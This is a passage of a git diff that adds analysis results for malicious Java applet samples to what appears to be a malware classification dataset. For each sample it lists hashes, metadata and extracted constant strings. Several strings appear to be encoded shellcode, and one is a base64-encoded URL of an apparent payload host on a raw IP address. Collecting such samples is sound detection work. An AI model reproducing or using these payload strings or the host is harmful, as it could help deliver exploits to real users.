1-K2,a7=1QBUO1JY=y2&jAN1o9Kv2oXev1iTJT1g+oQ2k*E1zW3HBVH2glph3-rWy2hCMa17Ro0pE%1jFxM2jZRS3(&_/1FvT1Y/s3wk=J09r/1%i,r17Nw1j9\\\\l1wESl0eN/1idK_3\\\\&\\\\d2nAYG1bZPK1Kgqa1o02mZYK2C0cS2KlRU2eIL0rXXG0Zwi3A\\\\OQ1aK1dMU=1Gt!P1wN&1N3@1Tk0+I\\\\#1V8Mj219M%0Q)=J1*Fd1uVa2x#1t3i(/+2dga#1use1dLf03Nh0KF26Ndk2QDCu03pdM1u+\\\\J2oc/j0I\\\\Q1-4wC1yD_e2mjG0krnq0dzI0jh1DDl2wceq1.QU0c\\\\3i6#b0XVT0Xb0O)23Px0+^me1Wh!G20bKN1U3aY2g402+WwY2tsb1Aj1XmlI1A4Og1&/Qp1A2NX1xVG1!+V1YeN^25m0B3n-6g0Um1t+wG1&4be1(wS(0Nvu0qKP2&cb%2dk3J1TNR(2X=Bx0Oo0NS#359ky3,w@w0/JY=1OtK2jfql2Kw00Vc^1=5z06n@0A!YK2(\\\\d1#yRx0MNZZ1_ZED07%Tc1x20c/Vi1cpd1@60wd1-Rm1xPg2W8o2Crd&2Lb2L0Vop!1EzuB2uLj08r22^Ks2Pfwp251A2ld/d1mWc0e)232B2x1jZ1J8g3Pg@L0hW2(Xp1%wz1i4%2-M43pTMv2Bde+1BM2uL40y@Zo2N61q1gU&1bW194R1Oax1Yt3k3@D0tS1iSxx0zJ1SwU&1Ha3VmGS1\\\\fSS3oFQX1ye0D!BB1UdA03VRl2CFpA3VH*J0Y%d3F20K32qUt0id=3l\\\\Q51RlW)2w&K0DK=1.D1)Q0ZCY0hTB0Z_YR2t#PF0K%0d,\\\\J09cOq2y7m,0E/0V(1@2K2S/Yv0Xc\\\\-1*j.1thM2KGZ#0K#3DzDU1Wjyx1KmV2lW3s2RBzr1%glR0YP-17YT-1xO2(1R0kZi0EJ1(60qgr27/M1&lZ2w!j1ZW0Gk1Cll1\\\\K-3WesZ3q)WJ2yqWJ1gQ1hEl09AGe1X4o0z)2-j0X2TERZ1yt\\\\p0gCr2x%6Y1zx-K3&%tl0TJ1QPTE1FkAA1yzN11jWo3m90h1t2(-2=2DN0XpBC1xzu2y4ew2s6uA2WV6b0jB0U+XG3J4tL0RQ^1*JG*1+cS05mh07tC&2O*s*0S@wA1,yx&2#,Te1zy0lIJ1OGMe0mM\\\\1)J0DG05%/f2WDtL1VaC^1wup1*K+0PcSh1tB@0A!t25BCo1\\\\IYl1LW)U0oPd1#L%1e70x!3&R=42KkNu15s0n^2h(03ejs+25#N2lsBd2On92NBu1TP#3KcpU13ZYv2yU6j1Ge!d148/o0tPPQ0XB0elD2gap0X.1XYC&0yT\\\\1t41+C2,\\\\62fG3C0HeZ2a1Vd2T#Za2_+oS1F+22\\\\RI1PW=U2!aL0oO1Knx1UyA1V31afo1jS*0XCEB2#Iyh17yW1y+\\\\,1A1-1Tig)1&xrs3!qJ31woD2dj4S0+Os1sWr1IMRU09+uy2W*R2c*Q+1c8OI2_rDs1AU0XS1TP18k/W1CGNE1AW_g0NT2,ULI1U8Tl2_Eh2C2xB2Q=ex1vE%B1zfb3p2OD1&kg@2bUh1WkV0yI-3nx7D0Eqjq1pOx3jWmt3,QdD0VvT3O+*42^=e0HWz2Vu+N1mxg/1O32@cj2N\\\\y1sF-r17P2,G9F1F51qwcD2&TzT0o,R%1cU1*0Z!1u11Aq#1qT*2%lIV3g0^l2L.DD1-W*1Cp0rSAl2FiN1KQ%1t2a.1zF1%n+l15hx%2G6XA2GHS3Ss&g1IZ1Me,1zs#o01k(1Z1f1IM2QwcK1\\\\018NE!0Or07d@3ZzdR3=TXj1%2Kx22&4Z04e/*1CXG0n_DJ24nR0R%03j1cC3HXKC3JyOk2V-gh0QqwS1nry0FAjA0A==/0Z@1g/J=03ym2OWI3malX1mOB0x-,1OAit0uETr0IYwT3t(xY0EG1uno0ti0faR0ea1@oY1^i.2.TG1Y5g2tMGg17l!2A-Fb1ozF3ks&b06n1DKu03ls1bRA/0AXIm2FUg2BDZh1#FV1cjO1)VBz2)(ng1u7G1MRFw07z24ViL1qmv2j6bR0sB3sFep2n=b/01F,h3(IbA1C0R0UOc2i@i1*Gws1kyq1%LY2Swz!2fxUM1ew.3fnRK13M0KIii2P\\\\uy1bGov1Y+fl1oAQz37X7F2.Ae*1&1l1dIi3OG6S1nl-1LR0Z)GP3t#8/1nG0p_q2h2in2EDcZ2eIal1xel^1ofo2G@y0yTDZ24Rw^1Od.u1Rs)0oc(f2CDu1&aBH0tg1fZ,2PCgY2gHRg11sWb1iyfr1zqt0TI+z2u3gE16fO1#KK0vhb1.ef^1lME1PV!=2pzJ13Lt1%3C3wTIC26Eu1#ry13Uq1au=a2o2PU2A2sS2o,c0S#MN0R+mc1%Zvi1mIT2uj62bN3V3L8wU1=6FC2jto1UZV%1GZ+N2HVG1uGo3tr!o2*_P0LOu0Y=i0uU1nK2uPFS3/_pI1PpK24+tW0Pij1@O14l*3feEl1.hj0d=Y1ENi0h^KX1*hXY1WlS1@e1aPED1h2#e3nm2j1Ez2&iH1/jqZ02i3^K5K3BO-G1@v3tY881xxY1i1U01dTV04B1_717J0tK^2e\\\\4%07dZW0irSq0O+T2y/4y3%Kvj3L!ak0bY_3R5qK1M2-@0qj0kZ!%15T,1I4/P0noB1Sz1GGjB1IeK%05L_@2^ml2uyp3Gh&U17Mxp0yq0rxN1NLiz1HJtj1H7bG2orK-1yb*2lwDb0GxD/0G+R_2z,2(0Huke0uwy0fV,0XXOy0aw1wa2OW4o0Mr3MeDq1_gu1wlt0y(yA05TL08GQG1TJV0hf1Emu3X9aU1W9^z1OpnH06Oh1(/xN3zq3j1=ge2_kp&04n1(11ApVk1gGQi1WVR16b=0Ud&0OtQL0ba\\\\29.gQ1yZy0X+1yMp1xn*2B1PI1cJ2cg9K1e33Ct9h1fa!0KO2E%m0wo0Lso0G,1ZT_1(It24StJ2L220F.@)0xHb0MqHt17UJ112s_2J-Q149L2Kawo0xwnx1=C0eLB1Mlh1KIYL2!/d@0+-m04S28T2*1Xv.V1l+Z)2S#n1c2Rr2qL0/2=Wl1KC0cdJ1SJK1@KL1tsO2.Yjt1x1\\\\2WUxj1\\\\H&2L=s25eAA1uMjh1-qF1%ix06A1gO^l1HBb0BQKM0N=^2TYCO1jo0NnN!3N)gL1nB2XEpk18v15L2UBNv1^mD0T%A@3Og4E1XA/1j/o^3)@FN0QzVM1R0a0BL0dXn=0LPAG0Uv)1yZ/1@EO3@aGj0UVP1t1R0BDg1pkD2dRuC1#RC_2tAP/2W\\\\J0Pef1oJTs2%nDP0zRdc2XvfY2ZoVI2ZPm3B\\\\XG16YH0bWT0Fxo11+J2(/8S2zQ+s1!KXT3SFFA2c\\\\01kAkR1_+Ic2XG80lxk1\\\\X!19Pc%2MsO^0GY1B7R10S_24Svv1FnWh1mG3NzBs2T(X3K.9+10rj0JeRj3uRkN15t^I0TJ*2v)XJ2Kcs1\\\\A-*1cz0Z,15pw2,yGP2McCF2=pgq0ArC1b7h2w_p/0gvyg2#lk3,4)C1WN,-26B+0/i3Iz.n1oHC1flki0cXM0E+c2JO/#0DF14Gz3EKWC00Vhi30L3U0/&dc2vje2qY/+1#F0P^1-q*1z3e0CYMp0YB)0eW&1MgZW0Yn1HSlt15tow0aDV135BJ0Jf+0xE1WRh0pXW0oSc,1FbRL1if1sd1BJT.1ey\\\\2QTkO2Q-r1z2,O1ufJm2JTbT0TRh2knJj2^QxM3BGzc1q1H)2(GV3c4pi2eUd3)syX1=Vc!2g+v#3@xte1ctdE1#OwX2S%rK13/vq2IGm1CoRn2AcQN1m+a01x0i,!=3.ptl1@rp1y0s0Wg0itnH0UPXv1yk0Uf0A/ne0lD1#hE.2I!/M2ayw\\\\1V1^11+cW22TPd0d*3268X1z02g6La1%qu1AnY0cKg0N-c2f#2t1HBc1Myyv1ZDQ32=Lo1XMfb2+fS0eF2*1f/0UJ#13vq=2.rK2%./T0Ws-3JBr42i!X^0sqYi2iUVa145Gi2va0B1-Mr1ZkE31,+G1Y7B0cTlB0GHo1Poo2\\\\X0Y0YuP1JgRh2-yM24J01vbu2M+ye2X6Y2urmv0B%1gwvi0oC2vAq/1,qd1HC2D,mC2^yO21Zv2=9f&3Rk8x0doCK0jR3X_321yrn!0tFG0UF(!0YP0A,1IJs2upf2jut1MOU0QZX1h8i0mnR2QLUM1=qua1(+3V1Gi1#4=1Rv3Tdf62U^yD1.s1RYpC26SSU0fdxz17Q%)0oS1pKd0gf.P00&0XQ0ykL0p_=)3@+Jz1.j,p1r11_Q)0CEZ1(faZ2T1bP0W-\\\\-1(kwt0YOz^2Dvwv10TM1JNMi0Jv%1^vDz1fhhl1dXp2QqA&2Bmc1!WL03(2q!rc1NU2^WZ11ywi0TX2cTyX1ots/1ZX_1N0a-3wK,R1pIO0ul)d1)SbC1Bc2aqd1%nS.1uru03v2=eq01^,^2\\\\\\\\01neCP01TzN1kH3rJ!p0rhm1e3o0L=(&1ahZ.1Um0fjd2foBh00GlR2yanx1uXf2-8H1VV1)RG2jIsQ14cCx0me&I0xbz1HTv\\\\1Vb/K0O(28AMe0Sg(J1751h6@0x#1_Y2D@TB08)*S3%A+H0T=eK3wat/2cJqt0lkMi1TYd0XT.0r@1%L1wgs-1&non1^1t@1YCLc13kA04U0edy1amAs1dK3RKo/3gDQe25\\\\a1IdjR0Zv2hPrc08re1!9h2ecxo2DrS%13r,19Ye-1H1^+2c401hP^m1M/cH03+rg2R0gn27pV)2jSG^1,53fvHr1RB!1e2e.2.pdW2/m914K1Ywq1q4Xx2&/+s2CLr,3-pKW18/1Wd&^1i41892wuUw1ge1rt1bS0wgq&1K/y1KLha1cXLx3hj9o3Vdab2rcQN0Ns1eDB1o8u0hC0XA=a1Q9aO2(XNT0VfU0Qr12PD2D4d11Eq03G0LhU0FD1NC)2BFGG1Afo2y,RM3+ABl1p9aa2i9D02)B04GLe1CT0/tE=2*p0^2bBh3wh5n1,Tx0S^SL0kOa0HfHa12ZFh2no115D18AKj08XYD1U0)\\\\0WHj2i#de15dgi0d^(1eWg(23Q0r0jq1^o&06RyI04EuY0jL2LcH=0p@1f1Ga0U^z0Icip2jvra3k7%C1FL(I0rDe0u&0rt#2QVQH2saHY1=w1*lf^27TC2W)g0rV-05c1pDG1ip2mna1TrQE3CJjH1Qxv2u0C1S1.1Wdr3HTlF2&KUm2u%Wb0Fq2KZky27#K18UjD2Xiqh1wSXz2i7u/2%fQ1Kqe1KN06I!1b62.pb20hn0N(\\\\@1mG%14bw1.lIc3/ESJ2GKa1Aru2qqDo1FvzZ2GlQw2J1Rh3&tpK3_Z^g1ps\\\\c0rjNv3d7Uj0g(M#1&v0JR)e0zK1#N1=ad0xI3m\\\\Fn24*pl1ViZr1FKm1EB2qB2y1*SG=2-wH07l)0+!YN1itfe3nfvI0YWA1HY1@pM07y@v2jNq^1T3Ui0Z\\\\kn0Q_Cb1_Zn^", "MXJmadCwWOZei7d", "A2dOk", "uV", "VJXVVvf8L", "8VP", "VTinTbHiCvSXRlta", "Evvjt7hv62AVsyrCXUV", "bIJYCwrRsLJMx0ZpKqoA", "UrIKPyxCxGMvpCCDaMQA", "run", "ULWUNlWVdPWMxXdgeQEC", "AyXGUzPMALswAodeyooCQhFNE", "wWxyQwvosyJyvsDkH", "ULWjBnpWyZtJmnrNTz", "aHR0cDovLzIxNi4xNTcuOTkuNjYvZGlwcmlvL2lpZG9wbnAucGhw", "res", "LiLugMvBapeugjfklVsbicc", "yUdupPpruLawhIiJdLmoH", "EekQwZkUGfmOj", "lIhLoFPqTiayhcrhGjr", "TjfSnzuyAa.soTtlgEus", "LctdiEjtjHqrptYrtkY", "sEDrNCrNeVURuw46KiFRqzP", "JvpCozGfJosnuzeAQLf"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "96c9fdc5760c9436bf47025482d3eb24a64187ac", "file_name": "java_malicious/90cc2cb396f2c44845502135008b74e3898ba8dc401ed01277322ce0e9dd09e7", "_id": "9fedba1c-1e9c-4815-a7b7-19d6e1b0f0f4", "score": 0, "entropy": 6.4374489306866725, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 17836, "ssdeep": "384:E4jCJamaLxmgM8ONIn80j45rssjMP8rIii+wmKLr867c+cc12:NChadmUsOIPi+wm6s+cc12", "sha256": "90cc2cb396f2c44845502135008b74e3898ba8dc401ed01277322ce0e9dd09e7", "md5": "f49f52e61050fff2f124213d980c09c8", "parent_sha256": "90cc2cb396f2c44845502135008b74e3898ba8dc401ed01277322ce0e9dd09e7"}} \ No newline at end of file diff --git a/java_classification/data/malicious/90e56c13ec5e0d93511a560006fd40c52e9f39ff06c3d39460e1d2982da20a88.results b/java_classification/data/malicious/90e56c13ec5e0d93511a560006fd40c52e9f39ff06c3d39460e1d2982da20a88.results new file mode 100755 index 0000000..533f83e --- /dev/null +++ b/java_classification/data/malicious/90e56c13ec5e0d93511a560006fd40c52e9f39ff06c3d39460e1d2982da20a88.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "decoder", "init"], "minor_version": 0, "const_pool_count": 104}}, "_id": "dddde0bc-a3b6-4163-8f9d-ead42b403ca8", "verbose": {"java": {"constant strings": ["TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIz0NplPnpLPNplPj0XikKWpS05Psoe4oQ6Ps0WpwpNkspvlNkbP5LNMLKQx10Op1mtLtsSDVcOfJKl3NkbH4HlKKGSZDDpYzHNogp5PuPKRl9qx0o2NePWp1x1eBRRLRMpTKOwfNkM8KXPyC05PWpnkKgrgk0wOgprUJZQWf7pGOpeouPqeKJnkJOsouckyMQzLeTS1EPwplKKlPQV2QC58uT31uPuPkOCfdLPZRy2qRrlK5RV3QSMPWKC0T5xzoqsKkLtnaupx1u3ES3mSzKEXK95SJgW37tvNpeQhSUKv1STHePSkMZZauT4plH1UWpEcIPrpRprsQGV0ioRvVpOskHUPd5uV2JWqQCkOPVeTQJ2ylCyR34W1OpejC0BU84IopVwxRq0VnkpuGLNksDvUD8uSkEV6nk2VWP7sXup3Ky1Y71NMWsKuEckkvooNTPVXXrqdVhYQXKVmVcXZSpJKyaWK7opuKWQNnkQN6DWsKm1vNkTLRkNkqNwlVcKmNk5TlK5S9ULkQN2yKsKX7pyo9oYoNn2ntNJLMHkNmZvncNzxHbD3fSKznj1Ktv6ztorPSHpWG7SbWpE81drTPpTz4oVOQwPorORGrLQuVNpapnQqPlD92T3Ye3qc6N2CPo2MFNrRqaRN3HsVe5QrCXpo1qrRd2tnqy0n56poDo0kSQQfpsToBkW1V67FvNppQidoSU78uep0fP4xu3fUTpp7SfTpVQfP00SVVPvWFPTpdpgFaB6VQvasedu2P03UfQVQp0FRrtVQcRcQWIPcTteequwBdp4q2L6PedVPfYpK7BVTubVY04txEcTpUcvQvX3zvPsUDptpvPp6TpvQGp7pA", "419,20,7f,6d", ",", "file://abc/", "B", "u", "\\xc0\\x80"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "9aef74e722ed0c323aa76709e68f9fb66e501361", "file_name": "java_malicious/90e56c13ec5e0d93511a560006fd40c52e9f39ff06c3d39460e1d2982da20a88", "_id": "dddde0bc-a3b6-4163-8f9d-ead42b403ca8", "score": 0, "entropy": 6.323076273283613, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 2834, "ssdeep": "48:icWdyFlk8gL8I7WmJUM5OS2fXSY8FARsFdIgFv16f+HJIQY+NAqECCYNir3sq10R:LWYFlOYRmJv5rWqFLGWNZqQY2CH7sqE9", "sha256": "90e56c13ec5e0d93511a560006fd40c52e9f39ff06c3d39460e1d2982da20a88", "md5": "7576615a65b40a1caa675b0ba59abec8", "parent_sha256": "90e56c13ec5e0d93511a560006fd40c52e9f39ff06c3d39460e1d2982da20a88"}} \ No newline at end of file diff --git a/java_classification/data/malicious/91668da971253edf14c938a99865803d413ae2782693325abe8a67fe7523d5a4.results b/java_classification/data/malicious/91668da971253edf14c938a99865803d413ae2782693325abe8a67fe7523d5a4.results new file mode 100755 index 0000000..6ce6543 --- /dev/null +++ b/java_classification/data/malicious/91668da971253edf14c938a99865803d413ae2782693325abe8a67fe7523d5a4.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/ldimtyvglcf", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "kgndlsscercxtrb", ""], "minor_version": 0, "const_pool_count": 446}}, "_id": "95086655-57d9-43ba-b41b-0d8cca4da1bd", "metadata": {"mimetype": "application/x-java-applet", "sha1": "8ed2a85febed7e79732f4e49488320639f22c4c1", "file_name": "java_malicious/91668da971253edf14c938a99865803d413ae2782693325abe8a67fe7523d5a4", "_id": "95086655-57d9-43ba-b41b-0d8cca4da1bd", "score": 0, "entropy": 5.217920232450559, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6990, "ssdeep": "192:T1Mws1L83XBEXpUxhi/To55UTYwa5hGX1:ZHs1LysUyTofUTkc1", "sha256": "91668da971253edf14c938a99865803d413ae2782693325abe8a67fe7523d5a4", "md5": "eb6d1be078be02213eebe6730e7d2143", "parent_sha256": "91668da971253edf14c938a99865803d413ae2782693325abe8a67fe7523d5a4"}} \ No newline at end of file diff --git a/java_classification/data/malicious/9194aeb17698ed846e3a14483bfe04f135ea31c348e23c469cfbd16f2a8bbdda.results b/java_classification/data/malicious/9194aeb17698ed846e3a14483bfe04f135ea31c348e23c469cfbd16f2a8bbdda.results new file mode 100755 index 0000000..0bb1eb9 --- /dev/null +++ b/java_classification/data/malicious/9194aeb17698ed846e3a14483bfe04f135ea31c348e23c469cfbd16f2a8bbdda.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Gummy.java", "class_name": "Gummy", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": [""], "minor_version": 3, "const_pool_count": 15}}, "_id": "0bb3fe48-dd67-418b-935a-b431d88dfa9e", "metadata": {"mimetype": "application/x-java-applet", "sha1": "0718f8599f07a0de0d9b87f6369b6ab5597cc93f", "file_name": "java_malicious/9194aeb17698ed846e3a14483bfe04f135ea31c348e23c469cfbd16f2a8bbdda", "_id": "0bb3fe48-dd67-418b-935a-b431d88dfa9e", "score": 0, "entropy": 4.76860511036184, "libmagic": "compiled Java class data, version 45.3", "file_size": 240, "ssdeep": "3:DblmX6zIh2kXSQCK8PFEoK4+HNW9ZMLMRDezswQcKAEgOW3EsXRsviDl/ivr/p2z:cRXSRPF7+k7XszswQpAEgRQQUlzW02Pr", "sha256": "9194aeb17698ed846e3a14483bfe04f135ea31c348e23c469cfbd16f2a8bbdda", "md5": "bf08548b1dc0a9cda4de1b10f86518a4", "parent_sha256": "9194aeb17698ed846e3a14483bfe04f135ea31c348e23c469cfbd16f2a8bbdda"}} \ No newline at end of file diff --git a/java_classification/data/malicious/922a59907c9449e5b288bafe9e1aae0756a6700b28f4c7c7db1f2e0ed2c6bb88.results b/java_classification/data/malicious/922a59907c9449e5b288bafe9e1aae0756a6700b28f4c7c7db1f2e0ed2c6bb88.results new file mode 100755 index 0000000..d55a279 --- /dev/null +++ b/java_classification/data/malicious/922a59907c9449e5b288bafe9e1aae0756a6700b28f4c7c7db1f2e0ed2c6bb88.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/ecbe", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "go", "defcls", ""], "minor_version": 0, "const_pool_count": 79}}, "_id": "a59ef9e1-8b12-4c68-aa8f-af527d474a46", "metadata": {"mimetype": "application/x-java-applet", "sha1": "b7a753fae8c149b232d19f9c9316d9ed5cac51ac", "file_name": "java_malicious/922a59907c9449e5b288bafe9e1aae0756a6700b28f4c7c7db1f2e0ed2c6bb88", "_id": "a59ef9e1-8b12-4c68-aa8f-af527d474a46", "score": 0, "entropy": 5.548507551596913, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1337, "ssdeep": "24:bLhhBVfyQIGh/EOJqpFHL+gTGbKA5a65acVwEe:Jhjy/Gh/EOJqHLfujaNEe", "sha256": "922a59907c9449e5b288bafe9e1aae0756a6700b28f4c7c7db1f2e0ed2c6bb88", "md5": "1b971aaddc0d25d23440065c6030c907", "parent_sha256": "922a59907c9449e5b288bafe9e1aae0756a6700b28f4c7c7db1f2e0ed2c6bb88"}} \ No newline at end of file diff --git a/java_classification/data/malicious/927ce505f4861430f434313530e1bc054d2d7c73cc09e57f2f7695bef22a094d.results b/java_classification/data/malicious/927ce505f4861430f434313530e1bc054d2d7c73cc09e57f2f7695bef22a094d.results new file mode 100755 index 0000000..cc07d15 --- /dev/null +++ b/java_classification/data/malicious/927ce505f4861430f434313530e1bc054d2d7c73cc09e57f2f7695bef22a094d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "kghWLvf.java", "class_name": "QvpGop/kghWLvf", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "", "QGyGIVJ"], "minor_version": 0, "const_pool_count": 342}}, "_id": "224704e5-ad8d-4c3b-902c-ede542a734c9", "verbose": {"java": {"constant strings": ["UZHDUTXJ", "XOJJX"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "8725d6074d50259a570a1327fff048c487da820c", "file_name": "java_malicious/927ce505f4861430f434313530e1bc054d2d7c73cc09e57f2f7695bef22a094d", "_id": "224704e5-ad8d-4c3b-902c-ede542a734c9", "score": 0, "entropy": 5.071330481609274, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 5287, "ssdeep": "96:4WW6rYCGzeYVLeSFlspOX36M3Y3yULnnhGdrDd:4WW6EMYLlVno3yAhGdHd", "sha256": "927ce505f4861430f434313530e1bc054d2d7c73cc09e57f2f7695bef22a094d", "md5": "8f72b11a461acffe4d8c719fa3de1be9", "parent_sha256": "927ce505f4861430f434313530e1bc054d2d7c73cc09e57f2f7695bef22a094d"}} \ No newline at end of file diff --git a/java_classification/data/malicious/9389c71b40958d08ff8b8b5c2c8bc181138d717ee72a6269319bd466eecd6a7d.results b/java_classification/data/malicious/9389c71b40958d08ff8b8b5c2c8bc181138d717ee72a6269319bd466eecd6a7d.results new file mode 100755 index 0000000..4e02a77 --- /dev/null +++ b/java_classification/data/malicious/9389c71b40958d08ff8b8b5c2c8bc181138d717ee72a6269319bd466eecd6a7d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "aa948f87-b5ab-4f97-a29b-cce2cf1c5a80", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,In,pL,PL,PL,Pn,pn,pn,pn,pL,Pn,pK,XU,PU,Pw,pe,Pj,K5,PI,yK,LW,pG,pC,0Q,OP,dM,qP,07,pW,pG,pc,H6,lL,KQ,P4,LL,Kp,pU,LL,mN,kR,HE,X8,k4,IN,kq,P6,Tl,Mw,0Q,lL,Ka,x5,lL,Kh,wC,Z3,4p,Yi,xn,ow,p5,P7,pi,rl,91,xr,Op,nW,pW,pQ,xq,es,B2,L0,m0,Ti,oV,vn,km,8y,xP,yG,p3,0w,pn,kN,7Q,Wk,0W,Og,pR,UK,J2,gr,ws,wo,p7,Ow,pT,5Y,jl,KX,oS,op,3k,yM,Qj,LU,T6,aU,Pg,pl,Kk,lr,qV,21,Ca,xu,TS,1w,ps,0i,oP,V4,LQ,JP,YF,1b,rl,Kt,BR,ss,sK,0u,k5,PQ,eX,zO,q1,ky,lv,N1,ut,83,Us,E7,sk,3z,KE,Xo,yU,SJ,gS,sU,Tv,NU,50,xs,Uz,fs,sU,XW,pa,KL,JK,q7,tT,pK,8b,ew,pf,S9,Pb,p6,0p,Sr,wp,PK,Of,6t,PN,c8,x5,Pr,Uu,Vp,ju,Qr,sK,Or,ve,Tp,Zf,9N,cx,Bt,D3,qo,p4,zW,pP,uO,DK,OR,vW,xF,1V,6N,kT,5E,ll,Kt,4t,nR,Xw,sh,u6,6N,kd,6w,PS,3L,5t,sh,Is,y3,qn,Mg,sJ,eP,3y,KD,Oo,Nt,Pg,JK,fd,4e,Xi,QH,KD,MU,Sz,zW,0J,K8,qw,Ku,Ob,Ux,gQ,NL,KS,nu,t7,s9,MR,FN,kT,LB,kN,kQ,Ne,Ld,Cy,ML,KC,4l,K6,cZ,en,KC,nr,yy,Sj,Hk,Ok,NK,OK,ON,np,N4,NJ,Ln,xK,NO,zD,Nq,nn,8X,br,SP,38,JL,Js,kT,v4,ZT,oR,PP,tp,TR,e2,us,0p,h3,DR,TR,Pf,Zt,oV,O3,Fr,ER,XQ,uP,wQ,qd,nR,Ns,Ud,4T,oQ,sP,gP,i6,MP,bu,9P,nf,O0,aP,zS,JV,NP,ps,XD,0v,Os,J6,P0,0P,8P,1v,PF,V6,RP,0F,QE,cT,q6,XR,RV,QV,PF,Pv,Yp,JF,PP,dP,0T,pV,PU,fD,pU,a3,bw,GS,Qp,24,qD,sP,5D,rV,WP,Wv,Se,eF,Q4,tV,Vv,RS,Uu,gb,xp,aP,bd,pV,Uq,rE,g7,Bu,4S,iU,5F,Pd,yV,Pp,8v,Rp,7v,RQ,Jv,Pv,Q4,pV,PB,Fv,PF,Wv,PU,PU,PA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "08656f91e2016a83dde26d8281fc49f0c522163a", "file_name": "java_malicious/9389c71b40958d08ff8b8b5c2c8bc181138d717ee72a6269319bd466eecd6a7d", "_id": "aa948f87-b5ab-4f97-a29b-cce2cf1c5a80", "score": 0, "entropy": 5.988267462788659, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3114, "ssdeep": "48:4vVk0yFlucejO1Wouasd1CjEZkbrUNk6jX5GUFwIsFlXRkHccQjtZtgobKqgs5q5:hFFlMjnoG1CjEZkYRxC92XQjt9bKsCn", "sha256": "9389c71b40958d08ff8b8b5c2c8bc181138d717ee72a6269319bd466eecd6a7d", "md5": "a6f3798d06c71d382f0a6c43888bf36e", "parent_sha256": "9389c71b40958d08ff8b8b5c2c8bc181138d717ee72a6269319bd466eecd6a7d"}} \ No newline at end of file diff --git a/java_classification/data/malicious/94daa163f20733218289e7ec66c0d64c8735fef92feb7a4f664057e56c59a408.results b/java_classification/data/malicious/94daa163f20733218289e7ec66c0d64c8735fef92feb7a4f664057e56c59a408.results new file mode 100755 index 0000000..110e5e0 --- /dev/null +++ b/java_classification/data/malicious/94daa163f20733218289e7ec66c0d64c8735fef92feb7a4f664057e56c59a408.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "z", "class_name": "x/l", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "major_version": 50, "method_names": ["", "gr"], "minor_version": 0, "const_pool_count": 271}}, "_id": "c85be4bc-1eb9-4e76-bd5e-cc9e6260b0e2", "verbose": {"java": {"constant strings": ["x.p", "\\x1e`1>T5w>0q9H\\r\\x02\\x1f", "T78/b\\x06\\'\\x13\\x1dc\\x11\\x03A", "\\x06\\r}\\x11\\x7f\\x1f\\x01\\x146\\x7f\\x1d(=NB#3O", "2c\\x06\\x0c\\x1b1`?\\x10\\x17", "\\n\\x02\\x083\\x1e{>#>0R`\\x19\\tTY:&s", "\\x0cJj:)j", "1\\r{ #$\\x19w{\\x1e/+x)\\x7fJ", "b~]\\x17\\x15{1\\x0cP", "|\\x12#1Fy1\\x0eE", "0\\x01/6h^\\x10p", "L7&\\tV", "\\x08\\x129g\\x02\\x05 +L=\\x04(\\x02r+\\x14v", "&\\x072K]?V", "\\x07\\xc0\\x80\\x11I,\\x03\\x18Cd\\x1e\\x04Q", "11\\x1csN", "\\x07*5(S\\x07\\x1dT", "$~\\x0bD#\\x14\\x15", "2v\\x06n*(\\x7f", "E]Tx=*A9[.7=\\x1c~H", ">{&<,\\x15V:\\x1d\\x16", "\\x14t,v\\x1d\\x01W\\x1a\\r\\r;j\\t\\x1c\\x1e", "F))(?B\\x15:%*:[\\x06S", "(\\n\\x1c$\\x19\\x1a\\x1e+xe7>\\x03Q\\x16\\x19\\x15", "[>\\x15\\x01\\x11\\x13\\'\\\\X\\x1f`", "[\\x02\\x07\\x05iK\\t\\xc0\\x80\\x04)g\\x14\\tK", "\\x05\\x19;;C;\\x03T", "\\x04j&.6/c^+\\x025~|\\x074\\xc0\\x80V\\x1d\\x1fQ", "\\x0483G\\x0e W", "6!\\x03\\x1e~Z\"+l9\\x19`", "\\x0cNX\\x04\\x0c\\x1e+Ts\\x06\\x12\\x1bm/=\\x13", "\\x18\"/\\x1a4X\\x03R$WpYv\\x17gZ\\'F", "\\x1d=\\x076\\n$~", "-*6\\'\\xc0\\x80\\t$z\\x07\\x02-\\x119\\x15$`", "\\x07\\x05{/|<\\x1eo", "s\\x07%\\r2>\\x0e\\x05;J<)\\x142b\\x19\\t`", "#\\x1e:\\x03]6(%&e\\\\\\x14r", "\\x12g.?5HL.1)mx5Zt\\x1d@8>o", "H/&/ef\\x0c+1)Z\\x1f7j", "\\x10 \\x11G~:\\x0639[\\x0cV", "B.#\\x114G\\x05\\x01\\x10", "0&F|\\x0b\\x0fa", 